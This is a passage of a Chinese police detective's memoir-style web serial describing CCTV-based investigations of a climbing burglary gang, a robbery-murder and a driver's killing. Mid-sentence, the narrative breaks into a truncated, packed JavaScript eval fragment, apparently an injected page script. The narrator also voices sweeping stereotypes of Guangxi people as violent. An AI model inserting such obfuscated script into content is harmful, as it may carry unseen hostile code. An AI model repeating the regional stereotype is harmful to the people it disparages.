第二天，我们中队民警和辅警，从看守所将犯罪嫌疑人杨某和杨某勇押出，前往辨认现场。我们一下车，现场现场就聚集了大量的群众围观，为了避免发生意外，我们事先安排了大量的巡防力量和辅警在现场警戒。第一个现场是菜市场，就是最早杨某勇穿橘红色上衣出现的地方。现场的群众注视下，嫌疑人分别指认了作案现场。我最担心的就是群众会情绪激动，会攻击嫌疑人。好在提前部署，始终将群众与嫌疑人隔离开一段距离。现场辨认完，我们快速安全撤离。紧接着我们前往森林公园，到第二个地点进行辨认。正值下午，有很多群众开车或者坐车到森林公园，爬山锻炼和游玩，在众多来往群众的注视下，我们押着两名戴脚铐的嫌疑人，从车上下来，分别出来指认现场。围观的群众议论纷纷，有说是杀人犯，不然不会戴脚镣。我们并没有理会这些，我早已经习惯，只是警惕的查看四周，让群众与嫌疑人保持安全距离。 辨认完现场，我们上车返回单位，途径晋江大桥，碰巧夕阳西下，景色怡人。那时我刚刚开通微信朋友圈，坐在副驾驶座，我拿出手机，拍了几张照片，发了第一条朋友圈。 回到单位，我们将嫌疑人分别押进不同的审讯室，调整好灯光，两位记者按照事先的计划，开始了对嫌疑人的采访，因为辨认现场，全程跟着，相互熟悉了一天。两名嫌疑人态度非常哈，也并不抗拒记者的提问，比我们审讯时还轻松，显得很豁达，有问必答，再次将案件经过叙述了一遍。两人均表示很后悔，承认自己有罪。后来法院开庭审理，因为两人认罪态度好，被轻判，杨某被判处有期徒刑两年六个月，杨某勇被判处有期徒刑两年。 2012年10月10日中央一套今日说法栏目照常准时播出，这一期的标题是《三分钟真相》，为了这三分钟的真相，我曾没日没夜的苦苦追查了一个月。 第二件事：牛牛的奶奶，此后几年每逢假日都要来单位，跟走亲戚一样，送点吃的，或者看望一下，俨然已经把我已经成为他们的亲戚，他们感激我给了牛牛第二次生命；后来他们返回河南老家，仍然逢年过节都要打电话来，甚至专门跑到晋江到单位看望我们。我本以为他们跟其他人一样，案件破了送个锦旗，表示一下感谢，这个事就算过去了。因为在我看来，我只是尽了我的职责，过程中没有放弃努力，仅仅因为这是我的工作，我努力做好它就好。我每年要办理很多案件，盗窃案，抢劫案，诈骗案，甚至有杀人案，侦查破案这是我的本职工作，大量的案件，像流水线一样，每天周而复始，每天像个机器一样，内心早已麻木，有时候甚至铁石心肠。有时候也会迷茫，我们追求的方向在哪里。从没想过我侦破的一件案件，会让群众感激我一辈子，甚至在他们心中我是神一样的存在。印证了那句话，金杯银杯不如老百姓的口碑，你真正把群众的疾苦装在心里，群众会记你一辈子。这可能是为人民服务的真谛。我终于明白，群众的需要就是我们努力的方向。 从这件事之前，因为长时间超负荷的工作而产生的职业倦怠、积压了很多的负面厌战情绪，这件事之后，我的负面情绪一扫而光，此后心中不再冰冷。再接到任何一个案件，都不再懈怠，认真努力，不断提醒自己要尽到全力。 使命在肩！既然选择了穿这身警服，就是选择了不可推卸的责任，在任何时候都不能放弃，绝不辜负群众对我们的期望。 25.第 25 章 2014年1月，我被任命为安平市公安局刑侦大队图侦队长，离开战斗了八年的鞋都，这是全新的挑战，一切又回到原点。图侦中队做为专业中队，是公安刑侦改革的产物，作为东南省第一个视频专业的队伍，中队组建之初，加上我仅有两个人。当时改革也是一种探索，而图侦中队的具体业务职能并没有明确。我也不知道要干什么，刚开始还是只能从老业务干起，既然还是刑侦大队，那么还是以破案为主。 从我个人观点看来，认为视频图像工作，这是全新的业务，专业性较强，需要一定的积累和理论知识支撑，当然工作都是围绕破案展开，但是核心的工作，应该是为破案服务支撑，但是绝不只停留在参与破案上。主要精力应该是打造更好的破案视频条件，总结视频破案的经验，探索更好的方法，如果只是单纯的就参与破案，那跟其他中队没有什么区别。但是这个观点与主要领导的想法相左，我并没有意识这回给我带来什么。领导告诉我，图侦只是一个名字而已，就是破案，没有别的。但是我根本没有听进去，我个人性格比较倔强，仍然停留在自己的想法里，在自己的路上越走越远。领导把我唯一的一名民警，也是大队的专业技术人才，将他调到基层中队锻炼去了，我成了光杆司令。还好从网安调来老庄过来协助破。为此我差点跟大队主要领导发生冲突，认为领导不理解我的工作。有段时间，我天天偷懒，磨洋工，啥都想干。 好在大队领导很忙，将近两百号人，每年几万起的刑事案件等他们去头疼，虽然与我的意见相左，但是大队的领导没有空搭理我。领导的胸怀比较大度，并不与我计较，并没有设置障碍阻止我去干我想干的，或者穿小鞋。我仍然按照我的思路去摸索经验，去发展专业。领导还支持我去学习考察，其他地区学习经验回来。在他们的支持下，当年我就去了武汉、莆田等地考察学习，研究视频侦查工作。 其实，视频侦查，有的地方虽然起步较早，比如武汉市公安局，08年在全国第一家成立视频侦查支队，将视频侦查发挥的淋漓尽致，同时规划设计建设各项科技基础建设，并以视频建设为基础，发展扩展公安的各类科技信息化建设，后来还搭建起了大数据中心，经常长时间的发展，机构齐全、体系完整。更多的是领导高瞻远瞩，战略定位高。又例如福建莆田市，起步也很早，但是受制于体量和一些其他限制，发展就较慢。各地有很多的经验可寻，但是绝不能原盘照抄，是没有办法套用的。首先、不过视频侦查技术相通的。除此之外，在绝大部分的时候，各地只能根据本地的实际情况慢慢摸索适合自己发展这方面的工作经验。刑侦大队的领导并没有去关注和考虑这些事情，仍然是老一套工作方式，将这套全部扔给我，我自己弄。支持和支援很有限，人员资金都没有。不过我还是比较喜欢钻研的，过去多年来依靠视频，我破获不少案件，我开始认真总结经验。并且从专业角度开始研究视频侦查。 从此，我大部分的时间，都跟在监控视频打交道，研究各种视频录像，逐渐的，我已经习惯从摄像头的视角看这个世界。走在路上看到一个摄像头，我脑海里显现的是摄像头显示的画面。 一、 “蜘蛛侠”现身首破攀楼盗窃案 2014年2月的一天，临近春节，我正在期待美好的春节长假，早就做好了开车回老家过年的准备。 离我们大队不远的豪富花园，一家公司办公楼被人入室盗，盗窃走保险柜内的现金5万元人民币。豪富花园小区，位于长兴路与泉安南路交汇处，离世纪公园仅一路之隔，属于地理位置很好的小区。不过小区面积并不大，总共才建有三栋楼，每栋楼有多个单元，两栋沿街而建，一楼连在一起，呈直角，剩下的一栋在直角后面，而现场位于豪富花园的不临街的那栋的11楼，主人把自己的套房改成了办公室在使用，将贸易公司办公放在这里。 根绝现场勘查的情况，门窗均完好，那栋楼高14层，阳台窗户和门都是开着的，通过仔细勘察的痕迹可以判断，嫌疑人是从阳台进入室内，将保险柜撬开，然后从大门离开。 根据报案人讲述，当时18时左右，出门到楼下饭馆去吃了个饭，19时30分返回，就发现办公室保险柜被撬开，放在里面的5万元现金被盗。所谓的保险柜，其实并不保险，并不是那种很厚重的专用保险柜，就是加装了密码锁的厚一点的铁皮柜。比较容易撬开。 根据现场的情况分析：嫌疑人作案时间非常短，首先是个熟练工；其次应该为从楼顶沿管道攀爬下来，进入现场；最后嫌疑人事先有踩点。根据以往的经验，擅长攀爬作案的，大多个子很矮，很壮实。全国有几个多发来源地：四川、广西。而在晋江历年抓获的嫌疑人，多数为广西籍。我们将排查方向从广西开始，先从数据层面开始进行分析。案发后第二天，我加入专案组，从视频的角度开始进行侦查分析。那个时候，泉州诚安系统刚刚建好第三期，经过三年的建设，已经实现了主要道路的全覆盖。 但是第一步，我们找到嫌疑对象。嫌疑人的作案时间分析，19时30分之前肯定会离开，按照这个思路我们在豪富花园里寻找监控，但是豪富花园的监控，当时已经十来年，年久失修，能用的没剩几个，加上画面质量非常差，闽南地区下午18时左右，天就完全黑了，光线条件也差，两个不利条件加在一起，看到的画面简直令人心碎。看着看着，我们在其中一个通道看到一个可疑的身影，这个模糊的身影快速小跑着离开小区，非常反常。但是画面的原因，只能看到黑白的画面，能看到身形，黑白的画面是反转色的，能看到嫌疑人男性，穿浅色上衣，袖子是深色的，裤子是深色的。除此之外，没有什么有用的信息。通过反复观看视频录像，小区的录像不能完全覆盖，未能找到可疑男子进入小区的视频。 我们以这名可疑男子为目标开始在更大范围内找录像，力图找到了一个突破口。在泉安南路与长兴路路口，装有两个高清摄像头，属于泉州诚安系统，所有的摄像头都在泉州诚安系统平台上可以找到数据，通过调取录像数据，以案发时间为中心点，分成两部分看视频，一部分看案发后，一部分看案发前的。看案发前的并不是倒放视频，而是以时间段为准，反推过去，以15分钟或者30分钟为基准，看完一段，没有发现情况，就继续看更早的一段，如此类推，这种比较累，进度相对慢一些，但是从视频侦查学的角度来说，这是必须要做的常规科目。 案发后的视频，则以发现可疑男子为时间起点，向后看，在周边能找到的视频中查找。这个相对比较容易些。但是这起案件却卡了壳，中心现场外面几条路上都有视频，但是一直未能找到可疑男子的踪迹。 到现在为止，能否确认那名可疑男子就是嫌疑人还为时尚早，必须在视频上有所突破，找到更多的信息来确认他是否是嫌疑人。而且所有的线索只有这条可疑继续延伸，希望和压力全部放在案发前的视频上了。加上案发前，天还没有黑，光线条件较好，看起来眼睛压力也小一点。 现在所有的人力都投入到了整个视频的分析中，人员分成多组，分成多个时间段，对多个视频源进行回放分析。此时，离案发已经过去三天时间，大家憋足了劲，看完视频，就回家过年了，春节假期可不能错过。 艰苦的付出之后，终于在路口的视频里找到了可疑男子的身影，时间是17时许，案发前大约两个小时，时间很吻合。现在就是确认一下路口出现这个男子是不是我们要找的那名可疑男子。我们必须继续看视频，将案发前一天的视频看完，只有这名男子的穿着与可疑男子很像。在没有更多的视频资料出现前，我们暂且先把他当成嫌疑人追踪。如果侦查下去，能排除身份我们再继续回来找，大部分的案件都是靠海量的分析工作才得以破案的。每一起案件都要付出相当大的人力物力，没那么简单。 路口的监控是最新的200万像素高清视频，图像效果很非常好，近一点的摄像头能看清楚人的五官细节。视频中能清晰的看到这名可疑男子，从马路对面横穿马路走过来的。 现在我们需要更新的信息来回答三个问题：他是谁？来自哪里？是否是本案嫌疑人？ 带着疑问，我们的侦查员到了那名可疑男子穿过马路之前的位置，发现旁边有一家餐厅，餐厅装有监控。监控显示，可疑男子是从一辆五菱宏光面包车上下来的。这辆面包车立即成为了我们的追踪目标，因为餐厅监控离得有一定距离，加上并不是那么清晰，未能看清车牌。好在我们的城安系统摄像头非常给力，都是高清的视频录像。 虽然车的运动速度快，活动距离远，但是追踪起来，比追踪人还要轻松一下，不说手到擒来，但是至少是轻车熟路。这台五菱面包车，在可以男子下车后，便离开了，但是奇怪的是，这辆车似乎没有明确的目的地，进一步的追踪发现，这辆车一直在周边几公里内的地方转圈，在19时许，则再次开回到现场附近，没在继续兜圈，而是直接离开了，可惜的是，摄像头不多，无法做到无缝追踪，这辆车在现场附近停留的时间又很短。但是我们大胆的推测，这辆车就是嫌疑车辆，那名可疑男子就是犯罪嫌疑人，案发前，车子将人送到现场，然后离开，不过就在附近活动，当嫌疑人作案后出来，前来接应然后离开。 在视频追踪的时候，我们找到了该辆车的车牌号，是一辆广西牌的面包车，案发前半个月从广东方向过来，案发后第二天就离开福建进入广东省。通过获得的多个信息，我们此时我们基本上可以判定，那名男子和那辆车就是犯罪嫌疑人和嫌疑车辆。 我们通过公安内网查询到车主的信息，车主为韦某，广西河池人，通过对车主活动轨迹进行研判，发现车主韦某案发时就在泉州地区活动。韦某有个好习惯，喜欢上网，特别喜欢在□□里发表各类的说说日志，而且设为所有人可见。我们直接访问了他的□□主页，在主页里，我们找到了一张案发前在泉州某地游玩时拍的合影，通过合影结合我们掌握的视频进行比对，找到当天我们在视频中发现的犯罪嫌疑人照片。进一步发现，韦某案发当天就是驾驶车辆的人员，于是，我们把韦某列为此案犯罪嫌疑人。 现在我们掌握了一名犯罪嫌疑人身份，还掌握了一张合影，我们推断，合影中应该有犯嫌疑人，合影是七个人，其中两人已经确认是本案嫌疑人，而掌握身份只有一个韦某一个。我们开始对韦某同轨迹人员进行梳理分析，找出另外的嫌疑人以及身份。 虽然我们侦查进度很快，案件也很快就要水落石出了，但是时间不等人，春节假期已经到了。此时犯罪嫌疑人已经回到广西河池，其他人身份尚未查清，不过嫌疑人尚未惊动，他们应该还不知道我们案件侦查进度。领导决定还是先放假休息一下，春节后再继续。于是我们获得了休整的机会，所有人除春节值班期间，继续接力侦查外，其他人全部休息，春节后再继续。 春节假期，我共休息了八天，前四天，后四天，中间有四天在值班。那几天，我天天研究嫌疑人车辆以及视频。最后在技术部门的支持下，发现了另外三个与犯罪嫌疑人韦某一同来的晋江作案，通过进一步的研判，陆续找到了他们的身份，再核对了一下犯罪嫌疑人的合影，一一对上了号，一个都没少，全都在。 身份清楚，现在就剩抓捕归案了。但是通过数据分析，发现嫌疑人过完春节后就离开了广西河池，开始在广西的南宁活动，紧接着又去了广东，在广州深圳都有停留，但是时间很短。追过去抓捕，不太现实。此时，犯罪嫌疑人韦某每天还喜欢发□□空间，□□说说。老庄发现韦某春节后更新□□还发有位置信息，南宁，深圳等，同时有时会发下一站去哪里的信息。获知这个情况后，我们开始耐心等待，说明嫌疑人还在四处作案，极有可能返回泉州再次作案。 果不其然，元宵节刚过，犯罪嫌疑人韦某就发了一个条□□说说：人生无常，今天在广东，明天就要去福建了，泉州的朋友们，我来了。这说明我们尚未惊动嫌疑人。我们组织了人手，车辆，制定了一个抓捕方案，嫌疑人开着车，一进去泉州城区，我们就两辆车将其前后夹住，计划在车上将所有人抓获。 犯罪嫌疑人韦某发完□□说说的第二天，通过卡口数据，我们发现他的面包车已经进入福建境内，不过当晚直接从晋江地区区下高速，去了清源山附近。由于是下半夜到的，我们大部分人都下班了。所以没有赶赴清源山抓捕。 韦某发布□□说说后第三天，我们在办公室集合，正讨论如何去抓捕的时候，发现犯罪嫌疑人已经加上车辆来晋江了，这不是送上门来自投罗网吗，我们表示热烈欢迎。第一个猜测是，嫌疑人钱都花光了，现在要来晋江继续作案。本案当天，嫌疑人车辆也是上午就到了晋江境内，通过轨迹分析，车子先是四处活动，寻找目标，傍晚时分才动手实施作案的。这一次他们像故技重施，但是等待他们的是早已布好的天罗地网。 我们安排侦查员就在电脑前坐着，通过视频跟踪车辆，剩下的人带上装备，开车赶往嫌疑人进城后的路线，在路口埋伏。上午十时许，嫌疑人的那辆五菱面包车出现在池店到安平市区的那条路上，我们在和平路口，开始跟踪这辆车，根据道路情况，随时准备实施围捕。 车子开了十分钟后，刚刚过世纪公园门口，离本案中嫌疑人下车距离不到100米的一个路口，此时车辆较少，我们头车一辆日产ＮＶ200面包车，采取别车的方式，将面包车挤到了路边，犯罪嫌疑人还没反应过来时，我们后车一辆金杯海狮前杠已经顶住了面包车的车尾，面包车已经完全动弹不得，我坐在副驾驶座上，看到五菱面包车上有两人拿着棍子已经开门准备下车跟前车的人理论，此时我和车上的侦查员手持伸缩警棍已经全部下车，将车围住，带队的丁队已经掏出□□手枪指着他们，我看到车内有三人，已经举起双手，目瞪口呆的看着我们，转眼间三人已经被手铐背铐住，蹲在车边，埋着头，我们迅速检查了一下面包车，找到部分工具。之后我们将人押回办案区。 三名嫌疑人到案，第四名嫌疑人没有跟车一起。为了防止逃脱，我们联系了技术部门，发现第四名嫌疑人还在清源山脚下，并没有跟着一起过来。我们换了一台捷达，开车前往清源山，一路上风越来越大，我意识到起大风，开始变天了，天气预报，当年第一号热带气旋已经生成台风，离我们很近，受其影响，沿海地区有大风降水。 第四名嫌疑人藏身在清源山下一村里的租房，这个村因周边工厂很多，很多人将自己家闲置的房子出租给务工人员。我们悄悄将车开到村里一处路边，我们停下车，感觉在风中摇晃。我下车与技术部门人对接，开门一霎那，我感觉门完全被一股力量顶着，几乎打不开，为了减轻压力，我将车窗玻璃摇下，一阵大风扑面而来，车门才得以打开。根据技术人员指路，嫌疑人藏身在不远处的一栋民房内二楼，我们四名侦查员，直接走到那栋民房二楼，在一个房间内，找到正在睡觉的犯罪嫌疑人张某，从床上拖下来，铐上然后将其押回大队办案区。 四名犯罪嫌疑人全部到案。拍照的时候，对照身高刻度表，四名嫌疑人最高的身高1米62最矮的1米52，个子虽然都很矮，但是每个人都很结实，很强壮，肌肉紧实，四肢有力。 广西在近代历史上都是很有名的，太平天国开始，洪秀全靠着广西招募的几万士兵组成的太平天国大军，一路从广西打到了江苏南京，一度与清政府划江对峙。在军阀歌剧时期，桂系军阀实力一直令□□忌惮。到抗日战争时期，桂系都是战斗力的代表，日军都没占过什么便宜，桂系因此在□□政府内都颇具地位。当代的广西人更是凶很好斗，极少败绩，靠的就是狠，不服就是干。如同动物世界“平头哥”。特殊的文化背景下造成的，早些年在广东福建沿海，还有出现过“砍手党”，即抢劫团伙，现将持刀伤害被害人，再抢劫财物，手段极其恶劣，这些人大都是广西人。 广西人自持身体健壮，被抓后，往往也是硬茬，大多死不开口。哪怕证据摆在面前，也要硬扛一会。为此，我们做了充分的准备，早就做了部署。因为前期侦查情况我比较熟悉，因此我也参与了审讯工作，十几个人对四个经过艰难的较量，来回的拉锯，最后总用时六个小时，四个嫌疑人全部如实交代了犯罪经过，可惜的是钱已经全部花光了。 等待“蜘蛛侠”的将是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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侦查员迅速控制了死亡男子的干爹，但是审查了十几个小时，发现有些蹊跷。第一：男子干爹不缺钱，不存在借钱的情况；第二：当晚男子干爹称在房间睡觉，听到呼救声起床赶过来帮忙，将受伤的女子送医院，并报警。这就与受伤女子描述有出入了，首先，按照受伤女子描述，凶手行凶后拿着钱已经逃离了现场，凶手没有理由再返回来救人。其次，这名干爹，经济条件较好，新婚夫妇是过来投靠干爹，还与干爹租住在同一栋楼。但是侦查员拿着很多男子照片，其中混有一张干爹的照片给受伤女子辨认，受伤女子一眼就指认干爹是凶手。但是现有的证据看，干爹可能又不是凶手，而且不承认。抓错了人可是大事，马上留置时间就到了，一下子案件就陷入了僵局，必须找到突破点。 听完介绍，我甚至怀疑，受伤女子是不是遇到了这么大的事情，精神受刺激，错将前来救援的干爹当凶手了呢？王副大队长告诉我，从受伤女子的精神情况看，不会出现这种情况。 到我驱车来到案发现场，现场位于鞋都镇某村的一栋自建六层房屋内，整栋楼用于出租。现场位于四楼一个房间，现场勘查已经结束，房间还没有被清理。地上还有大量的血迹和部分的血脚印，看着血迹有些慎得慌。现场打斗的痕迹并不是很明显，夏季，鲜血的味道并未散尽，还有出租房不知道是什么物品，还有一股馊味，两种味道混在一起，让人闻着不太舒服。 我到现场的目的是确认案发时间，还有嫌疑人可能逃离的方向，最主要的目的还是找监控视频。当时这个村装有几十个早期的视频探头，由于是早期老实的模拟信号传输，画面质量特别差，加上年久失修，没有人维护，能用的不到一半。而现场周边都没有私人安装的视频探头可用。 通过询问受伤女子，还有讯问干爹获取的信息，案发时间应该是凌晨1时许。那个时候已经是深夜了，村里的能看的视频看着都非常模糊，几乎难以分辨现场环境，而在没有灯光的位置摄像头，画面基本上都是一片黑色的。从现场出来有两条路出村，往北是小学方向，在路口有一个摄像头，往南是去青阳和平路方向，但是有一条河，过河就是和平路，从村里出来到和平路总共有两座桥，其中一座离现场较近，只有几百米，桥头有一盏不算亮的路灯，使用的是白色的节能灯泡，现场有个视频摄像头，离路灯十几米远，通过回放录像，发现还能看到很模糊的视频。 小学路口的视频条件比较好，我决定先看那个视频录像，按照视频侦查技术原理，先易后难。我先挑容易的看，节省时间，可以快速回放视频录像。结果看了几个小时，没有发现有异常的人员经过。只能再去看难的，那个很模糊的视频录像，因为图像质量差，为防止漏掉重要的视频画面，我只能选择单倍速回放录像。好在晚上行人特别少。看了十几分钟录像，录像中就出现一个穿浅色上衣的男子，在画面中，该名男子边走边脱上衣，并将上衣拿在手上，光着上身向和平路方向走去。我看了一下时间，刚好是案发后十分钟左右。此处离现场仅有几百米，这名男子此时出现，非常可疑。我继续看录像，此后两个小时内均没有人员出来。那名光着上身的男子就成功“晋级”。我们一边打电话给王副大队，请他安排人询问受伤女子，嫌疑人身材、衣着情况，一边组织人手开始在视频追踪这名男子的下落。 很快，有侦查员报告，嫌疑人作案时穿着白色上衣，牛仔裤。与视频中男子对得上，嫌疑人还拿走了死亡男子的一部苹果4s手机。在视频中，我们也发现了，那名可以男子在看手机。这名脱衣服的男子，在现场打斗时，因为浅色衣物的缘故，估计上身沾满血迹，所以嫌疑人会脱掉将衣服拿在手上，就是为了避免被抓到。这名升级为嫌疑人的男子，再次获得“晋升”，现在是头号犯罪嫌疑人。 按早思路，我负责在开展视频追踪工作，嫌疑人走路向青阳方向走去，沿着和平路走。我们一路看着录像，一路追着他们在视频中留下的足迹。 通过两个小时的高效追踪，一路跟踪到了青阳街道某村子，最后消失在一个村口的摄像头画面中。摄像头清晰度还可以。为了尽快查清事实，我们立即赶往那个村子，调取了周边的视频摄像头，发现嫌疑人走进了一栋租房。一直没有离开。我们立即到租房开展排查工作，在租户中发现仅有一名河南籍男子，此时离案发已经二十几个小时了。经过请示领导，继续看当地的视频。不过，我们经过回放租房额视频，但是发现嫌疑人已经离开了。 另一方面，重案队的其他队员在做数据分析的工作中发现，被害人当晚曾有一个被叫来电，我们获知消息后，就在租房尽全力去找各种资料。 我拿到最后通话的号码资料。根据信息，在我追踪过来的在租房内的租客名单里，发现了按个最后打给死者的电话，就是之前发现的那名河南籍的男子登记的号码。通过获取的身份证复印件信息，调取了那名男子的身份信息，乍一看，发现其身份证头像与干爹的非常像，不仔细看，陌生人会以为两个人是同一个人，或者兄弟双胞胎，时间并不是。 我们又回去看出村的桥头视频，根据技术部门同胞，被害人手机就在案发后一段时间才关机的。我们又回看录像，发现嫌疑人在过桥的时候曾弄了一个下手机，那个时间正好与被害人手机关机时间是吻合的。 讯问干爹的侦查员拿着照片询问干爹，干爹说这个一个老乡，跟他长得很像，但是两人不是兄弟，也不是亲戚，没有任何关系，不过据干爹介绍，不过这个老乡有个缺点非常好赌，经常到处借钱。之前有合作过，现在闹得比较僵。基本上不来往了。继续问，才得知，受伤女子，干爹也是今年才认识，是干儿子结婚后一起过来的，由于他们刚到不久，其实没见过几面。 嫌疑人身份呼之欲出。 王副大队长，做工作非常的细致，拿着照片去医院，再次去询问住院的受伤女子，这次受伤女子认出了嫌疑人的照片，他干爹的照片也混在照片组里。 现在那名犯罪嫌疑人最要想的是，他会怎么离开。我们这边继续追综嫌疑人，发现其案发后凌晨6时许已经出门，我们一直追踪，他搭乘了一辆摩的，跟着摩的走，嫌疑人在长途汽车站下车了。 我们几个人立即赶到长途汽车站，经过询问比对，调看长途汽车站的视频录像，发现嫌疑人已经上了一台回河南的大巴车。此时离发车已经过了十几个小时。我们找到大巴车上司机的手机号码，打电话询问司机答复我们说再有一个多小时，就进入河南境内了。还有几个小时就要到站了。 我们一面翻开地图，确认司机和大巴车的位置。大巴车预计还有不到一百公里就到目的地了，为了避免夜长梦多，我们打电话让司机在下一个高速服务区休息，同时通知高速服务区所在地辖区的刑侦，帮我们到服务区抓捕这名嫌疑人。 大约一个多小时后，河南警方来电话，嫌疑人在某高速服务区的大巴上被河南当地警方抓获。同时打来电话，通知我们过去移交犯罪嫌疑人。 案件到此，我的任务圆满结束。 26.第 26 章 三、消失的黑车、深窟的漂尸 2014年冬，雨季提前到来，让这年天气比往年要冷一些。我很早就换上了抓绒外套，换上了靴子。那天大雨，接到电话通知，在龙湖某水库有一具浮尸，要我立即赶往现场。健达此时已经在等我，我们一起同车赶往龙湖。 时间拉回到半个月前。石狮市公安局刑侦大队派人来到我这里，要我协助调查一起蹊跷的失踪案：一辆黑的司机江某的家属报警称，江某驾驶一辆黑色丰田花冠轿车在石狮市从事出租业务，俗称黑的司机。当天晚上没有回家，打电话手机关机状态，家属担心出什么问题，就电话报警。而卡口显示，江某驾驶的那辆黑色花冠当晚曾从过石狮与交界的龙湖卡口进入晋江境内，当时江某穿一件大红色棉衣驾驶车辆。但是第二天驾驶员就换人了，变成另外一名男子。不仅如此，更为诡异的是，第二天晚上之后就消失了，卡口里再也没有信息了。石狮市公安局刑侦大队觉得事情很可疑，接入侦查，因为对晋江地界不熟悉，所以请我们在视频侦查上予以支持。 多年的刑侦生涯，直觉告诉我们，这次案件不简单，绝对是大案子，我丝毫不敢怠慢，没有多客套，就立即进入工作状态。 我从那辆黑色丰田花冠进入晋江开始，追踪所有的视频信息，找出活动轨迹，力图还原这辆车在晋江的所有活动情况，根据卡口显示，该车进入晋江后一直在晋江境内活动，一天后出现在厦门翔安区。之后经南安再次返回晋江，之后就消失了。 根据卡口的记录信息，我们在道路上寻找车辆行驶的轨迹。第一天晚上，该车进入晋江后，到龙湖进入一条小路，那条路中间有几公里是没有摄像头的，由于是夜间，很多摄像头拍摄画面都不清楚，只能看到这辆车进入了那条路的视频。但是之后就没有再出来。我扩大了搜索范围，找了很久，最后才这条路另一头的路边路边发现了疑似这辆车的录像，录像中，黑乎乎一片，因为角度的问题，夜间没有路灯，只能看到车辆的灯光，通过车灯的形状来判断车型，再通过时间校正，来确认是否是我们要追踪的车。这辆车当晚卡口照片显示，关车大灯有一边不亮，根据这个特征，我大胆判断，在龙湖那天道路的另一侧监控里出现的一辆小车，就是那辆黑色丰田花冠。不过我内心还是疙瘩了一下，我去过那条路，从第一个路口进入，从另一侧路口出来，正常情况下，20分钟就可以走完的道路，况且那条路车很少，而且当天晚上视频显示，一个小时才几辆车进出。这种情况下，那辆车用了70分钟，多出来的这50分钟，这里面到底发生了什么事情。我们不得而知，况且这一路虽然连接几个村，村与村之间的道路都是荒山野岭的，还有很多非常开采石头遗留下来的超多矿坑（俗称石窟），我有一种不祥的预感，这种感觉不免让人非常紧张。 其实当时我就有一个大胆的猜测，那辆黑色丰田花冠的车主江某可能已经死亡。于是那时我通知龙湖所和直属刑侦中队布置的各地注意在查找。但是做为一名资深刑警，所有的事情必须重事实、讲证据。在没有任何证据支撑前，只能认真排查。 我们想从视频中得到突破，就要一点一点看视频录像，这是个痛苦的过程，车子的活动范围特别大，一直处于运动当中，在没有新线索出现前，我们必须看每一段可以看到的视频，从中挖掘线索。于是我们几个人在图侦工作室里，开始了马拉松式的追踪。我们几乎把能动用的资源都用上了。 视频资料显示：当晚，那辆黑色花冠轿车，先是去了安海镇，然后又去了晋江内坑火车站兜了几圈。我们就这么一直跟着，受制于摄像头的建设情况，没有办法做到无缝链接。车子在火车站停留了近一个小时，才离开。发生了什么我们又不知道。之后车子在晋江辖区内转来转去。凌晨2时许到了永和镇，进入镇区以后，就停靠在街边，因为视频角度的缘故，停车位置在摄像头前方约50米远，视角是车子的尾部，刚好只能看到左边，右边从门的位置正好被遮挡。能看到人下车，之后车子的双闪闪了一下，应该是锁车。车子在这里停留了四个多小时，天亮后离开。 我们很兴奋，一边继续追踪车辆去向，同时派人立马赶到永和镇，查一下那名司机当时下车后，干了什么。因为永和镇区周边有很多的酒店旅馆，可以住宿。如果住宿，肯定要登记，就留下了信息。 侦查员工作了几个小时，最后报告情况说，嫌疑人只是下车走了一下，然后又上车了，根据不远处一家店铺的视频录像显示，那名司机从右后门上车，所以我们之前在视频里没有看到。也就是说那名司机，在车上睡觉，睡一觉醒来之后又开车离开了。 他是谁？他要干什么？原车主江某在哪里？ 带着一系列的疑问，我们继续追视频。第二天，那辆车在晋江辖区内转了一圈，去了几个镇，最后从安海镇走国道去南安水头镇，卡口显示去了翔安区，进入厦门后，我们没有办法继续进行视频追踪了。所以发生了什么，我们不清楚。车在厦门境内转了近9个小时，又返回泉州地界，从安海安平桥卡口我们继续追踪视频，到了晚上视频再次中断。 连续两天的视频追踪，毫无成果，因为车辆一直在活动状态，都没有发现有用的线索，石狮市局的就全部撤离了，我们也暂停了这项工作。我们唯一能做的是，请龙湖方面，多注意观察那边废弃的石窟和荒山。果不其然，半个月后，江某的尸体被发现。 我和健达开车刚出发，就开始下雨，一路上雨越下越大。由于通知的地点不是很清晰，健达一直搞不清楚位置。但是对我来说，轻车熟路。我们沿着那条小路，一路开了两公里，到了一处石窟比较集中的地方。这边是土路，技术中队的现场勘查车就停在那里，还有很多熟悉的车子，领导比我们先到。 这里山主要是石灰岩和花岗岩组成，没有什么植被，除了路边以外，山上几乎没有树木，只有大片的野草，冬季野草都已经枯黄。整个山海拔不高，但是因为非法开采，已经面目全非，到处布满石窟，大部分的石窟都是原来开采石头的时候，向地面以下开采，因此很多石窟深不见底，最深的据说有几十米深，两年后，我在永和镇的山上见过落差超过80米的深窟，场面壮观，站在窟边，有一种恐高的眩晕感。这些石窟形成的时候，属于乱挖乱采，毫无科学规划，由于没有排水，被废弃后，就成了天然的蓄水池，大部分石窟都积满了水。天气好的时候，水是碧蓝色的，很是漂亮。为了防止人员掉落，当地政府在各个石窟建起了围栏，到处都竖着警示牌，提醒不要靠近。将进入危险的石窟的道路也封闭了，甚至直接用挖掘机破坏掉道路。 （以上图片均来自网络，与本案无关） 我们下车，冒雨走到现场，尸体已经打捞上来，就在旁边的地方放着，法医正在对尸体进行勘查。我第一眼看到尸体的时候，就知道这是江某。他驾驶车辆最后的卡口照片，上身就是那件大红色的外套，尸体上身就是那件外套。尸体被铁路捆绑着，多天泡在水里，已经发黑发胀，铁丝已经深深陷进去，整个尸体看上去有点像米其林轮胎的那个卡通人物。 看到尸体，我们最不愿意发生的事情还是发生了，也证实了我的猜测。一起失踪案立即升级为故意杀人案。从现场出来后，我们所有的人就近到龙湖派出所会议室召开会议，此时晋江地区局分管刑侦的副局长、刑侦支队也已经赶到，安平市局分管刑侦副局长，刑侦大队长都到场，会议决定，由晋江地区局刑侦支队、行动技术支队会同晋江、石狮两地警力，立即成立专案组，展开专案攻坚。并且按照各自的特长进行分工侦查。 